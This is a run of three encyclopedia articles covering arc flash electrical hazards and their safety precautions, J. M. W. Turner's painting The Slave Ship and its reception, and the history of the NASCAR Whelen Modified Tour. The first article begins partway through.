In addition to the explosive blast, called the arc blast of such a fault, destruction also arises from the intense radiant heat produced by the arc. The metal plasma arc produces tremendous amounts of light energy from far infrared to ultraviolet. Surfaces of nearby objects, including people, absorb this energy and are instantly heated to vaporizing temperatures. The effects of this can be seen on adjacent walls and equipment - they are often ablated and eroded from the radiant effects.
Examples
One of the most common examples of an arc flash occurs when an incandescent light bulb burns out. When the filament breaks, an arc is sustained across the filament, enveloping it in plasma with a bright, blue flash. Most household lightbulbs have a built-in fuse, to prevent a sustained arc-flash from forming and blowing fuses in the circuit panel. Most 400 V and above electrical services have sufficient capacity to cause an arc flash hazard. Medium-voltage equipment (above 600 V) is higher potential and therefore a higher risk for an arc flash hazard. Higher voltages can cause a spark to jump, initiating an arc flash without the need for physical contact, and can sustain an arc across longer gaps. Most powerlines use voltages exceeding 1000 volts, and can be an arc-flash hazard to birds, squirrels, people, or equipment such as vehicles or ladders. Arc flashes are often witnessed from lines or transformers just before a power outage, creating bright flashes like lightning that can be seen from long distances.
High-tension powerlines often operate in the range of tens to hundreds of kilovolts. Care must usually be taken to ensure that the lines are insulated with a proper "flashover rating" and sufficiently spaced from each other to prevent an arc flash from spontaneously developing. If the high-tension lines become too close, either to each other or ground, a corona discharge may form between the conductors. This is typically a blue or reddish light caused by ionization of the air, accompanied by a hissing or frying sound. The corona discharge can easily lead to an arc flash, by creating a conductive pathway between the lines. This ionization can be enhanced during electrical storms, causing spontaneous arc-flashes and leading to power outages.<ref>Electric power generation: Transmission and distribution By S. N. Singh -- PHI Limited 2008 Page 235--236, 260--261</ref>
As an example of the energy released in an arc flash incident, in a single phase-to-phase fault on a 480 V system with 20,000 amps of fault current, the resulting power is 9.6 MW. If the fault lasts for 10 cycles at 60 Hz, the resulting energy would be 1.6 megajoules. For comparison, TNT releases 2175 J/g or more when detonated (a conventional value of 4,184 J/g is used for TNT equivalent). Thus, this fault energy is equivalent to 380 grams (approximately 0.8 pounds) of TNT. The character of an arc flash blast is quite different from a chemical explosion (more heat and light, less mechanical shock), but the resulting devastation is comparable. The rapidly expanding superheated vapor produced by the arc can cause serious injury or damage, and the intense UV, visible, and IR light produced by the arc can temporarily and sometimes even permanently blind or cause eye damage to people.
There are four different arc flash type events to be assessed when designing safety programs:
Open air
Ejected
Equipment focused (Arc-in-a-box)
Tracking
Precautions
Switching
One of the most common causes of arc-flash injuries happens when switching on electrical circuits and, especially, tripped circuit-breakers. A tripped circuit-breaker often indicates a fault has occurred somewhere down the line from the panel. The fault must usually be isolated before switching the power on, or an arc flash can easily be generated. Small arcs usually form in switches when the contacts first touch, and can provide a place for an arc flash to develop. If the voltage is high enough, and the wires leading to the fault are large enough to allow a substantial amount of current, an arc flash can form within the panel when the breaker is turned on. Generally, either an electric motor with shorted windings or a shorted power-transformer is the culprit, being capable of drawing the energy needed to sustain a dangerous arc-flash. Motors over two horsepower usually have magnetic starters, to both isolate the operator from the high-energy contacts and to allow disengagement of the contactor if the breaker trips.
Circuit breakers are often the primary defense against current runaway, especially if there are no secondary fuses, so if an arc flash develops in a breaker there may be nothing to stop a flash from going out of control. Once an arc flash begins in a breaker, it can quickly migrate from a single circuit to the busbars of the panel itself, allowing very high energies to flow. Precautions must usually be used when switching circuit breakers, such as standing off to the side while switching to keep the body out of the way, wearing protective clothing, or turning off equipment, circuits and panels downline prior to switching. Very large switchgear is often able to handle very high energies and, thus, many places require the use of full protective equipment before switching one on.
In addition to the heat, light and concussive forces, an arc flash also produces a cloud of plasma and ionized particles. When inhaled, this ionized gas can cause severe burns to the airways and lungs. The charged plasma may also be attracted to metallic objects worn by people in the vicinity, such as earrings, belt buckles, keys, body jewelry, or the frames of glasses, causing severe localized burns. When switching circuits, a technician should take care to remove any metals from their body, hold their breath, and close their eyes. An arc flash is more likely to form in a switch that is closed slowly, by allowing time for an arc to form between the contacts, so it is usually more desirable to "throw" switches with a fast motion, quickly and firmly making good contact. High-current switches often have a system of springs and levers to assist with this.
Live testing
When testing in energized high-power circuits, technicians will observe precautions for care and maintenance of testing equipment and to keep the area clean and free of debris. A technician would use protective equipment such as rubber gloves and other personal protective equipment, to avoid initiating an arc and to protect personnel from any arc that may start while testing.High Voltage Engineering and Testing By Hugh McLaren Ryan -- Institute of Electrical Engineers 2001
Protecting personnel
There are many methods of protecting personnel from arc flash hazards. This can include personnel wearing arc flash personal protective equipment (PPE) or modifying the design and configuration of electrical equipment. The best way to remove the hazards of an arc flash is to de-energize electrical equipment when interacting with it, however de-energizing electrical equipment is in and of itself an arc flash hazard. In this case, one of the newest solutions is to allow the operator to stand far back from the electrical equipment by operating equipment remotely, this is called remote racking.
Arc flash protection equipment
With recent increased awareness of the dangers of arc flash, there have been many companies that offer arc flash personal protective equipment (PPE), such as suits, overalls, helmets, boots, and gloves.
The effectiveness of protective equipment is measured by its arc rating. The arc rating is the maximum incident energy resistance demonstrated by a material prior to breakopen (a hole in the material) or necessary to pass through and cause a 50% probability of second degree burns. Arc rating is normally expressed in cal/cm2 (or small calories of heat energy per square centimeter). The tests for determining arc rating are defined in ASTM F1506 Standard Performance Specification for Flame Resistant Textile Materials for Wearing Apparel for Use by Electrical Workers Exposed to Momentary Electric Arc and Related Thermal Hazards''.
The selection of appropriate PPE, given a certain task to be performed, is normally handled in one of two possible ways. The first method is to consult a hazard category classification table, like that found in NFPA 70E. Table 130.7(C)(15)(a) lists a number of typical electrical tasks by various voltage levels and recommends the category of PPE that should be worn. For example, when working on 600 V switchgear and performing a removal of bolted covers to expose bare, energized parts, the table recommends a Category 3 Protective Clothing System. This Category 3 system corresponds to an ensemble of PPE that together offers protection up to 25 cal/cm2 (105 J/cm2 or 1.05 MJ/m2). The minimum rating of PPE necessary for any category is the maximum available energy for that category. For example, a Category 3 arc-flash hazard requires PPE rated for no less than 25 cal/cm2 (1.05 MJ/m2).
The second method of selecting PPE is to perform an arc flash hazard calculation to determine the available incident arc energy. IEEE 1584 provides a guide to perform these calculations given that the maximum fault current, duration of faults, and other general equipment information is known. Once the incident energy is calculated the appropriate ensemble of PPE that offers protection greater than the energy available can be selected.
PPE provides protection after an arc flash incident has occurred and should be viewed as the last line of protection. Reducing the frequency and severity of incidents should be the first option and this can be achieved through a complete arc flash hazard assessment and through the application of technology such as high-resistance grounding which has been proven to reduce the frequency and severity of incidents.
Reducing hazard by design
Three key factors determine the intensity of an arc flash on personnel. These factors are the quantity of fault current available in a system, the time until an arc flash fault is cleared, and the distance an individual is from a fault arc. Various design and equipment configuration choices can be made to affect these factors and in turn reduce the arc flash hazard.
Fault current
Fault current can be limited by using current limiting devices such as current limiting breakers, grounding resistors or fuses. If the fault current is limited to 5 amperes or less, then many ground faults self-extinguish and do not propagate into phase-to-phase faults.
Arcing time
Arcing time can be reduced by temporarily setting upstream protective devices to lower setpoints during maintenance periods, or by employing zone-selective interlocking protection (ZSIP). With zone-selective interlocking, a downstream breaker that detects a fault communicates with an upstream breaker to delay its instantaneous tripping function. In this way "selectivity" will be preserved, in other words faults in the circuit are cleared by the breaker nearest to the fault, minimizing the effect on the entire system. A fault on a branch circuit will be detected by all breakers upstream of the fault (closer to the source of power). The circuit breaker closest to the downstream fault will send a restraining signal to prevent upstream breakers from tripping instantaneously. The presence of the fault will nevertheless activate the preset trip delay timer(s) of the upstream circuit breaker(s); this will allow an upstream circuit breaker to interrupt the fault, if still necessary after the preset time has elapsed. The ZSIP system allows faster instantaneous trip settings to be used, without loss of selectivity. The faster trip times reduce the total energy in an arc fault discharge.
Arcing time can significantly be reduced by protection based on detection of arc-flash light. Optical detection is often combined with overcurrent information. Light and current based protection can be set up with dedicated arc-flash protective relays, or by using normal protective relays equipped with an add-on arc-flash option.
One of the most efficient means to reduce arcing time is to use an arc eliminator that will extinguish the arc within a few milliseconds. The arc eliminator operates in 1-4 ms and creates a 3-phase short-circuit on another part of the system, typically upstream at higher voltages. This device contains a fast contact pin that upon activation by an external relay, makes physical contact with the energized bus which then creates the short circuit. The arc eliminator will protect a human if they are standing in front of the arc flash event and the relays detect the arc flash by diverting the arc flash to another location, although the diversion may cause a system failure at the location the short-circuit was diverted to. These devices must be replaced after an operation.
Another way to mitigate arc flash is to use a triggered current limiter or commutating current limiter which inserts a low rated continuous current current limiting fuse that melts and interrupts the arc flash within 4 ms. The advantage of this device is that it eliminates the arc flash at the source and does not divert it to another section of the system. A triggered current limiter will always be "Current Limiting" which means it will interrupt the circuit before the first peak current occurs. These devices are electronically controlled and sensed and provide feedback to the user about their operational status. They can also be turned ON and OFF as desired. These devices must be replaced after an operation.
Distance
The radiant energy released by an electric arc is capable of permanently injuring or killing a human being at distances of up to . The distance from an arc flash source within which an unprotected person has a 50% chance of receiving a second degree burn is referred to as the "flash protection boundary". The incident energy of 1.2 cal/cm^2 on a bare skin was selected in solving the equation for the arc flash boundary in IEEE 1584. The IEEE 1584 arc flash boundary equations can also be used to calculate the arc flash boundaries with boundary energy other than 1.2 cal/cm^2 such as onset to 2nd degree burn energy. Those conducting flash hazard analyses must consider this boundary, and then must determine what PPE should be worn within the flash protection boundary. Remote operators or robots can be used to perform activities that have a high risk for arc flash incidents, such as inserting draw-out circuit breakers on a live electrical bus. Remote racking systems are available which keep the operator outside the arc flash hazard zone.
Research
Both the Institute of Electrical and Electronics Engineers (IEEE) and the National Fire Protection Association (NFPA) have joined forces in an initiative to fund and support research and testing to increase the understanding of arc flash. The results of this collaborative project will provide information that will be used to improve electrical safety standards, predict the hazards associated with arcing faults and accompanying arc blasts, and provide practical safeguards for employees in the workplace.
Standards
OSHA Standards 29 CFR, Parts 1910 and 1926. Occupational Safety and Health Standards. Part 1910, subpart S (electrical) §§ 1910.332 through 1910.335 contain generally applicable requirements for safety-related work practices. On April 11, 2014, OSHA adopted revised standards for electric power generation, transmission, and distribution work at part 1910, § 1910.269 and part 1926, subpart V, which contain requirements for arc flash protection and guidelines for assessing arc-flash hazards, making reasonable estimates of incident heat energy from electric arcs, and selecting appropriate protective equipment (79 FR 20316 et seq., April 11, 2014). All of these OSHA standards reference NFPA 70E.
The National Fire Protection Association (NFPA) Standard 70 "The National Electrical Code" (NEC) contains requirements for warning labels.
NFPA 70E provides guidance on implementing appropriate work practices that are required to safeguard workers from injury while working on or near exposed electrical conductors or circuit parts that could become energized.
The Canadian Standards Association's CSA Z462 Arc Flash Standard is Canada's version of NFPA70E. Released in 2008.
The Underwriters Laboratories of Canada's Standard on Electric Utility Workplace Electrical Safety for Generation, Transmission, and Distribution CAN/ULC S801.
The Institute of Electronics and Electrical Engineers IEEE 1584.
Notable incidents
In a notable industrial accident at an Astoria, Queens Con Edison substation on December 27, 2018 a 138,000 volt coupling capacitor potential device failed which resulted in an arc flash which in turn burned aluminum, lighting up the sky with blue-green spectacle visible for miles around. The event was extensively covered in social media and LaGuardia Airport temporarily lost power, but there were neither deaths nor injuries.
References
External links
Arc Flash Awareness video available on YouTube or from NIOSH
Arc Flash Guide
Arc protection system example YouTube
Electrical breakdown
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https://en.wikipedia.org/wiki/The%20Slave%20Ship
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The Slave Ship
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The Slave Ship, originally titled Slavers Throwing overboard the Dead and Dying—Typhon coming on, is a painting by the British artist J. M. W. Turner, first exhibited at The Royal Academy of Arts in 1840.
Measuring in oil on canvas, it is now on display at the Museum of Fine Arts, Boston. In this classic example of a Romantic maritime painting, Turner depicts a ship visible in the background, sailing through a tumultuous sea of churning water and leaving scattered human forms floating in its wake. Turner was possibly moved to paint The Slave Ship after reading about the slave ship Zong in The History and Abolition of the Slave Trade by Thomas Clarkson the second edition of which was published in 1839. The initial exhibition of the painting in 1840 coincided with international abolitionist campaigns. As the piece changed hands in subsequent years, it was subject to a wide array of conflicting interpretations. While the work is generally admired for its spectacular atmospheric effects, there are conflicting opinions about the relationship between its style and its subject matter.
Background
Historical background
In 1781, the captain of a slave ship inbound to Jamaica, the Zong, had ordered 132 slaves to be thrown overboard when drinking water was running low so that insurance payments could be collected; slaves who died of natural causes were not covered by insurance. This incident went to court, and the trial that ensued gained wide public attention, building support for the abolition of slavery. Although the trial was deemed to be inconclusive, it was a pivotal catalyst in the movement towards British abolition and a moment that later inspired Turner to portray the incident in The Slave Ship.
While the first organized British abolition movement was started in 1727, the slave trade in the British Empire was not officially abolished until 1807 with slavery itself abolished in 1833. Universal abolition was then at the center of politics following Britain's reform. Motives for the movement were centrally humanitarian, but economic incentives also incited a desire to terminate this commercial act in competing countries.
J. M. W. Turner
J.M.W. Turner was a well-known 19th-century landscape painter born in London in 1775, who was highly regarded for his stylistic innovation. His training in the arts was extensive. He started studying at the Royal Academy at the age of fourteen, and gained additional experience in topographical drawings and watercolor working under Dr. Thomas Monro, a physician and alienist, developing his interest in landscapes and distinctive application of colors.
Due to his liberal beliefs and interest in current events, Turner was directly exposed to the campaigns and publications of the anti-slavery societies of his time, the Society for the Mitigation and Gradual Abolition of Slavery Throughout the British Dominions (1823–1838) and the British and Foreign Anti-Slavery Society (founded 1839), which inevitably shaped his abolitionist beliefs. As an abolitionist, Turner was passionate about contributing to the slavery resistance campaigns in international regions, such as in the United States. The first documented sign of Turner's artistic contribution to the anti-slavery movement occurred in 1828 when he dedicated an engraving of his painting The Deluge to a well known abolitionist, John Joshua Proby. Twelve years later, after possibly being informed about the Zong incident from reading The History and Abolition of the Slave Trade by Thomas Clarkson, as well as the Amistad rebellion and subsequent court case in the United States which was international news, Turner was inspired to depict these horrific events in his piece The Slave Ship.
Exhibition at The Royal Academy of Arts
In 1840, two important international anti-slavery conventions were held in London: "The General Anti-Slavery Society" and "Society of the Extinction of the Slave Trade and the Civilization of Africa." Turner's exhibition of The Slave Ship at the Royal Academy of Arts coincided with these conventions. This public display of a horrific event reminding viewers of Britain's past was intended to evoke an emotional response to the inhumane slave trade still occurring at that time in other parts of the world. Given the context of its initial exhibition, the painting would likely have been interpreted as a political call to action.
When Turner exhibited this picture at the Royal Academy of Arts in 1840 he paired it with the following extract from his unfinished and unpublished poem Fallacies of Hope (1812):
"Aloft all hands, strike the top-masts and belay;
Yon angry setting sun and fierce-edged clouds
Declare the Typhon's coming.
Before it sweeps your decks, throw overboard
The dead and dying – ne'er heed their chains
Hope, Hope, fallacious Hope!
Where is thy market now?"
Description
Subject matter
The first impression that the painting creates is of an enormous deep-red sunset over a stormy sea, an indication of an approaching typhoon. This ominous typhoon is further indicated by an approaching dramatized storm cloud, creeping into the visible space from the left, with its rich colors sprawling towards an unstained sky. Upon closer inspection one can discern a ship sailing off into the distance. This ship is identifiable as a type of fast vessel used by slavers to escape navy patrollers, characterized by its "low, lean lines and clipper bow." The masts of the ship are red, matching the blood-red color of the sky and the sickly copper color of the water, which serves to blur the lines between various objects in the painting. The ship's sails are furled, revealing that it is preparing for the typhoon.
In the right corner of the foreground, a single dark-skinned leg juts out of the water with an iron chain locked around its ankle. It can be assumed the figure is a nude female, as a faint illustration of bare breasts can be found at the very bottom of the image under the leg. A chaotic swarm of seagulls and fish surrounds the leg, as though they are consuming the woman; one fish, in particular, is shown approaching the frenzy with its mouth wide open. This violence is enhanced by spare red blotches around the head of the fish, indicating blood. Smaller dark limbs project from the stormy seas on the left, surrounded by loose chains, alluding to the numerous other slaves who were thrown off the ship and left to drown. Tails of fish swimming in the water around the drowning slaves can be observed, augmenting the scene's turmoil.
Artistic style
Consistent with Turner's emphasis on color in many of his other works, the painting's central focus is on the interactions of various colors. Few defined brush strokes appear in the painting, and objects, colors, and figures become indistinct. Objects are defined by colors rather than distinct lines, and some objects, like the human bodies in the water and the incoming storm, having no real border at all are solely defined by the contrast with the pigments around them. The most prominent colors are the red of the sunset, which encroaches into the water and ship, and the maroon of the bodies and hands of the slaves. This approach is characteristic of Turner's painterly style, in which he commonly exaggerates colors and omits details to make forms more fluid and sensational, eliciting an emotional response from the viewer. At the pinnacle of his career, Turner's style minimized the elements of a landscape and abstracted details through indistinct forms and colors.
Analysis and interpretation
Analysis
Turner's emphasis on color rather than design is typical of many Romantic works of the time. The indistinct shapes and the pervasiveness of the sunset's blood-red color serve to illustrate the idea that nature is superior to man. Turner's intentions become more apparent when the painting is considered in relation to the circumstances of the actual Zong incident, which didn't happen during a storm but occurred in calm waters. Turner included the impending typhoon and sunset to comment on the atrocities of slave trading. Other colors in the painting, such as the cool blue of the ocean and the black caps of the water, bring the ocean's thrashing movement to life and give the viewer a sense of the cataclysmic nature of the scene. The compositional choice to portray the jettisoned slaves on the margins, scaled down in size, and the slave ship in the distant background, partially concealed by the hazy atmosphere, in favor of the mesmerizing color work of the sunset and stirring ocean, further serves to decrease the emphasis on humanity and transfer it to the overwhelming power of nature.
The sublime
By placing the emphasis on nature rather than on figures or objects, Turner evokes the concept of the "sublime" developed by Edmund Burke. The idea of the sublime is of the utter powerlessness and terror of humanity in the face of nature; by dramatizing the strength of the waves and sun, Turner uses The Slave Ship to encapsulate Burke's definition of the term. Turner's decision to paint the work with a series of quick, frenzied brush strokes rather than carefully defined lines adds to the intensity of the painting, serving to make the viewer feel even more overwhelmed. This abstracted depiction of the landscape dramatizes the sheer power of nature, capturing the attention of the viewer and reducing the identifying details of the Zong massacre. The dynamic, vivid colors of the storm moving across an indistinct and bright sky evoke nature's authority and agency. The irregular, diagonal, and overlapping currents of the sea which indistinctly blends into the dark red hues at the horizon create a disorienting effect. This makes the viewer feel as though they are placed directly in the open sea's powerful and unstable entropy.
Turner also demonstrates sublime elements through the terror and violence of the slaves drowning in the foreground of the piece. This terror is enhanced by the hues of red that surround the flailing limbs and the vicious sea creatures that prey on the suffering victims. The dispersed objects and disfigured bodies floating around the violent waves contribute to the visible chaos of the scene.
Interpretations
These sublime effects in combination with the subject matter of The Slave Ship have elicited various explanations. According to one interpretation, the incoming typhoon is a symbol of impeding divine retribution on the slave trade's immorality. This sentiment is supported visually in The Slave Ship by the daunting oncoming typhoon, overshadowing the distant slave ship. This interpretation is supported by the period's abolitionist poetry, which includes divine intervention as a common way of commenting on the inevitable doom of slave trading. Thomas Day's poem, The Dying Negro, is a representative example of the common tone that these poems at the time shared, which most likely influenced Turner's interpretive vision of the Zong incident:"Thanks righteous God! - Revenge shall yet be mine;
Yon flashing lightning gave the dreadful sign,
I see the flames of heavenly anger hurl'd
I hear your thunders shake a guilty world
The time has come the fated hour is nigh,
When guiltless blood shall penetrate the sky
For Africa triumphs - his avenging rage
No tears can soften, and no blood assuage.
He smites the trembling waves, and at the shock
Their fleets are dash'd upon a rock.
He waves his flaming dart, and o'er their plains
In mournful silence, Desolation reigns."Another interpretation maintains that the slave ship that jettisoned the slaves is not the one depicted in the distance, but that the viewer stands aboard the slave ship. The original title of the painting, Slavers Throwing overboard the Dead and Dying—Typhoon coming on, and the verses of Fallacies of Hope that it is paired with are telling indicators of the events leading up to the scene depicted in the piece. Accordingly, the context of the scene includes the arrival of a typhoon, provoking the captains of the Zong to "throw overboard / the dead and dying - ne'er heed their chains," as described in the poem. However, the actual depiction of the ensuing scene provides "ontological uncertainty," as the visible details are inconsistent with the supposed sequence of events. For instance, the drowning slaves lie at the forefront of the scene, while the slave ship depicted is off in the far distance. If this image is supposed to represent the scene directly following the captain overthrowing the dead and dying, which is supported by the title, poem, and observable metal chains still sitting atop the water's surface, this spatial positioning would not be feasible. Therefore, it would be logical that the viewer is actually aboard the slave ship.
In addition, some viewers have argued that The Slave Ship actually represents Turner's reaction to the Industrial Revolution. The painting might be viewed as an allegory against the exploitation of slaves and other human labor in favor of machines and economic advancement, represented by the coming storm engulfing the cruel captain. However, the storm could also be viewed as a representation of nature's dominance over man and of the ultimate futility in trying to industrialize and advance society.
Reception and criticism
When The Slave Ship was first displayed at Royal Academy of Arts in 1840, it attracted the attention of critics who were dismayed by the horrific subject matter and abstracted style. For instance, one famous review by William Makepeace Thackeray poses the rhetorical question, "Is the painting sublime or ridiculous? Indeed I don't know which." Others harped on Turner's use of color and fixation on nature's devastation.
After John Ruskin was gifted the painting by his father in 1844, he wrote an essay published in Modern Painters which detailed his appreciation for the work. The text became famous and influenced the public's understanding of the painting. His writing places the viewer directly in front of the painting, developing an emotional response to the painting's sublimity. As a result of Ruskin's writing, the actual painting was not necessarily needed for people to feel that they had experienced it. Ruskin's celebration of the piece is evident as he writes, "If I were reduced to rest Turner's immortality upon any single work, I should choose this." Ruskin did have his own critics though; most notably, Mark Twain. In his 1880 book A Tramp Abroad, Volume 1, Chapter XXIV, he declaimed:
Ruskin eventually sold the painting in 1872 to be exhibited at the Metropolitan Museum of Art in New York, where it sparked public interest after Ruskin's publication, and became highly regarded for its atmospheric effects. However, in effect of this attention to solely the aestheticism of the piece over the subject matter, this reaction also generated backlash among critics. As one New York Times critic put it, "It is the great artists vision of a slaver in peril at sea that the average art pilgrim looks for. He finds only a miracle of light and color."
After The Slave Ship was put on auction in 1876, Alice Hooper purchased it and put it on display at the Museum of Fine Arts in Boston, where it is displayed today. The painting was featured independently in the main gallery of the museum and accompanied by handouts of Ruskin's famous essay and a museum curated description that related the visible attributes of the piece to the history of the slave trade and the abolitionist context that underlies it. As viewers gained a greater understanding of the historic and ethical themes behind Turner's painting, audiences began to consider whether the aesthetic treatment of the subject was appropriate.
Ethical dilemma
As demonstrated by the general response to the piece when exhibited at the Metropolitan Museum of Art, the aestheticism of the landscape and marginalization of identifying details of the Zong incident could lead viewers to overlook its historical reference entirely. Many critics since have addressed this dilemma, discussing whether the aesthetic effects of The Slave Ship interfere with the subject matter or appropriately augments it. Those who believe the piece's style reinforces its message argue that the sublime features of the overpowering ocean and oncoming typhoon comment upon the horrors of the slave trade. According to this view, the configuration of the figures in the foreground forces the viewer to face the drowning slaves. As the art critic and professor George Landow explains, "the very closeness of the dying slaves to the spectator [incites the] recognition that the nature which will justly punish the ship is the same nature that is already unjustly devouring the ship's innocent." The atmospheric effects can also be interpreted as heightening the premonition of the slave ship's demise, and thus the end of slave trading entirely.
On the other hand, some critics argue that the aesthetic aspects of the scene dominate the viewer's attention, and the work appropriates the tragic event for artistic pleasure. One critic, Tobias Döring, explains "the terrors of the [slave] trade have become transfigured as aesthetic objects produced for the delegation of spectators [and] establishing covert complicity between terror and the connoisseur." Another critic, Sarah Fulford concurs with this position, claiming the dying slaves are completely disregarded in order to "aestheticize the horror of slavery in a moment of sublimity." She goes even further in her argument, stating that the very nature of commercializing art that depicts slave victims aligns with the actual act of trading slaves. From this perspective, the aestheticization of the scene is synonymous with profiting off of slavery.
Legacy
In 2006 the painting was the focus of episode 5 in the eight-part BBC TV mini-series Simon Schama's Power of Art, broadcast by BBC Two.
See also
List of paintings by J. M. W. Turner
References
External link
Archive—large image
Turner's Slave Ship
1840 paintings
Abolitionism in the United Kingdom
Maritime paintings
Paintings by J. M. W. Turner
Paintings in the Museum of Fine Arts, Boston
Slavery in art
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https://en.wikipedia.org/wiki/NASCAR%20Whelen%20Modified%20Tour
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NASCAR Whelen Modified Tour
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The NASCAR Whelen Modified Tour (NWMT) (previously the NASCAR Winston Modified Tour and NASCAR Featherlite Modified Series from 1985 until 2005) is a modified stock car racing series owned and operated by NASCAR in the Modified Division. The Modified Division is NASCAR's oldest division, and is the only open-wheeled division that NASCAR sanctions. NASCAR Whelen Modified Tour events are mainly held in the northeastern United States, but the 2007 and 2008 tours expanded to the Midwest with the addition of a race in Mansfield, Ohio. The tour races primarily on short oval paved tracks, but the NWMT also has made appearances at larger ovals and road courses.
History
Modified Division (1947–1984)
The NASCAR Modified Division was formed as part of NASCAR's creation in December 1947. NASCAR held a modified race as its first sanctioned event, on February 15, 1948, on the beach course at Daytona Beach, Florida. Red Byron won the event and 11 more races that year, and won the first NASCAR Modified Championship.
(The Strictly Stock Division, which evolved into today's premier Cup Series, did not race until 1949.) Post-World War II modifieds were a form of "stock car" (contrasted against purpose-built AAA championship cars, sprints, and midgets) which allowed some modification, typically substitution of stronger truck parts. Most cars were pre-WWII coupes and coaches. This pattern continued through the 1960s, with aftermarket performance parts and later-model chassis (such as the 1955–57 Chevrolet's frame) becoming more common. Modifieds became known for technical innovation, both in homebuilt parts and in adapting components from other types of vehicles. By 1970, many modifieds featured big-block engines, fuel injection, eighteen-inch-wide rear tires, radically offset engine locations, and other technologies that made them faster on short tracks than any full-bodied race cars including Grand National cars.
The predecessor to the NASCAR Whelen Modified Tour was NASCAR's National Modified Championship, which was determined by total points from weekly NASCAR-sanctioned races as well as a schedule of national championship races. Parts of the northeastern and southeastern US were hotbeds of modified racing in the 1950s and 1960s; some racers competed five nights per week or more. Often the same car was raced on both dirt and paved tracks, changing only tires and perhaps springs and shock absorbers. In the late 1960s and early 1970s, the technology of dirt and pavement modifieds diverged to make them separate types of race car. NASCAR was no longer sanctioning dirt tracks which held modified races, so the NASCAR modified rules became the standard for asphalt Modifieds. (Starting in the early 1970s, northeastern US dirt modified racetracks began to join the DIRT organization founded by Glenn Donnelly.) Most unsanctioned tracks used similar modified rules to NASCAR's, or specified the same cars with cost-limiting rules such as smaller engines or narrow tires.
In the 1980s, it became prohibitively expensive for modified teams to tow long distances to sixty or more races per year, including Watkins Glen International and Daytona International Speedway, Bowman Gray Stadium in Winston-Salem, North Carolina, North Wilkesboro Speedway, and Martinsville Speedway, with the North Wilkesboro races part of the Cup weekend. To enable more than a few teams to contend seriously for the championship, it was decided to reformat the Modified Division's championship to a limited schedule of races not conflicting with one another. This change mirrored similar format changes to the Grand National Division starting in 1972 and the Late Model Sportsman Division (now Xfinity Series) starting in 1982. Richie Evans ran 66 NASCAR modified features (and several unsanctioned events such as the Race of Champions) in 1984, the final year of the old system.
Whelen Modified Tour (1985–present)
The modern-day NASCAR Whelen Modified Tour was first held in 1985 with 29 races, named the "NASCAR Winston Modified Tour". It switched sponsorship to the Featherlite Trailers brand in 1994, and was renamed the "NASCAR Featherlite Modified Series".
Two major changes to the NASCAR Whelen Modified Tour came in 2005.
In 2005, Whelen Engineering took over sponsorship of the series, which was renamed the "NASCAR Whelen Modified Tour".
Beginning in 2005 NASCAR sanctioned a new modified division in the southeastern United States known as the Whelen Southern Modified Tour. The two tours agreed to run a combined race at Martinsville Speedway.
1985
Richie Evans, the first NASCAR national touring division driver to capture nine national championships is tied with Mike Stefanik for the most NASCAR championships in the Modifieds, won his last championship posthumously in 1985, the first year of the Winston Modified Tour. Driving his own designed and built cars and maintained in his own shop in Rome, NY for sponsor concrete magnate B.R. DeWitt, Evans won 12 of his 28 starts on the tour, including five consecutive victories at five tracks in July and August. Billy Nacewicz was the team's crew chief. Other strong contenders on the tour included Stefanik, George Kent, Jimmy Spencer, Brian Ross, Reggie Ruggiero, Brett Bodine, Charlie Jarzombek, Jeff Fuller, George Brunnhoelzl, Doug Heveron, Jamie Tomaino, John Rosati, Corky Cookman, Greg Sacks, Mike McLaughlin, and Bugs Stevens. Many other top racers focused on their local tracks but ran limited tour schedules. In October, the season ended in tragedy when Evans was killed in an accident while practicing for the final race of the tour season, the Winn-Dixie 500 at Martinsville Speedway. He had already clinched the title; Mike McLaughlin, driving for Len Boehler, finished second in the points standings.
2017
Following the 2016 season, the NASCAR Whelen Southern Modified Tour ceased operation and was merged with the Whelen Modified Tour. For 2017, Bristol and Charlotte were brought over in the merger and Myrtle Beach was added to start the season. During the 2017 season, Ted Christopher died in a plane crash near North Branford on September 16 enroute to race at a tour event that night at Riverhead Raceway. The car owner later dropped out of the event and Christopher was credited with a Did Not Start and last place position. Cristopher was honored during the next race held at New Hampshire with a decal displayed on the cars and with Woody Pitkat driving Ted Christopher's modified. Stafford Motor Speedway retired his number 13 from its weekly modified racing.
2018
The NASCAR Cup Series and Truck Series dropped a race at New Hampshire Motor Speedway in favor of Las Vegas. New Hampshire replaced the series with the "Full Throttle Weekend", with the NASCAR Whelen Modified Tour Musket 250. It became the longest race on the tour (250 laps, ). The weekend also featured the NASCAR K&N Pro Series East with the Apple Barrel 125 (which featured a driver from the Euro series and another from the Mexico series, and, for the first time since its formation in 2007, a NASCAR Pinty's Series race outside of Canada (the Granite 100).
2019
For 2019, the tour went back to South Boston for the first time since the merger of the northern tour and the southern tour.
Beginning with 2019, all NASCAR modified events will be live on Fanschoice.tv.
2020
The 2020 season was one of constant change, as the planned season was temporarily put on hold due to the COVID-19 pandemic. Many races were postponed or cancelled, while others were added to help fill the schedule. Justin Bonsignore, on the strength of 3 wins, won the championship. Jennerstown returned to the Tour for the first time in 2006, hosting two races, while New Hampshire's White Mountain Motorsports Park hosted back-to-back races that were the WMT's first ever visit to the beautiful bullring in White Mountains.
6 time champion Doug Coby saw his Mike Smeriglio III Racing team close as Smeriglio chose to retire after a very successful career. Coby would form his own team in partnership with Steve Pickens, scoring one win at WMMP. Jon Mckennedy showed great speed on his way to second in points driving for Tommy Baldwin Racing, while Craig Lutz had a breakout year scoring wins at Jennerstown and Thompson.
2021
2021 saw the WMT return to two popular southern venues in Martinsville Speedway and Richmond Raceway, as well as an additional race at both Oswego Speedway and Riverhead Raceway. Lancaster Raceway and Beech Ridge Motor Speedway also made their returns after long stretches without WMT races. Patrick Emerling proved a worthy competitor to Justin Bonsignore, as the two ran head to head right down to the wire at the final race of the season at Stafford Speedway. Bonsignore would celebrate a long awaited win at the storied CT race track as he clinched the 2021 title on the strength of 2 wins.
Cup series regular Ryan Preece would have a solid year, scoring wins at New Hampshire, Stafford, and Richmond. Tragically his car owner Eddie Partridge would pass away in the hours after the win at Richmond. The loss was huge for the modified racing community, as Partridge was one of the strongest supporters of modifieds over the years, fielding cars in many series, as well as saving the Riverhead Raceway.
Doug Coby made a bold move to miss the first race at Oswego to run in the inaugural Superstar Racing Experience race at Stafford - a move that proved fruitful as he would go on to beat the star studded field in front of a live national TV audience. The win parlayed Coby to his first career NASCAR Camping World Truck series start, scoring a 12th place finish at Bristol driving the GMS Racing 24 truck.
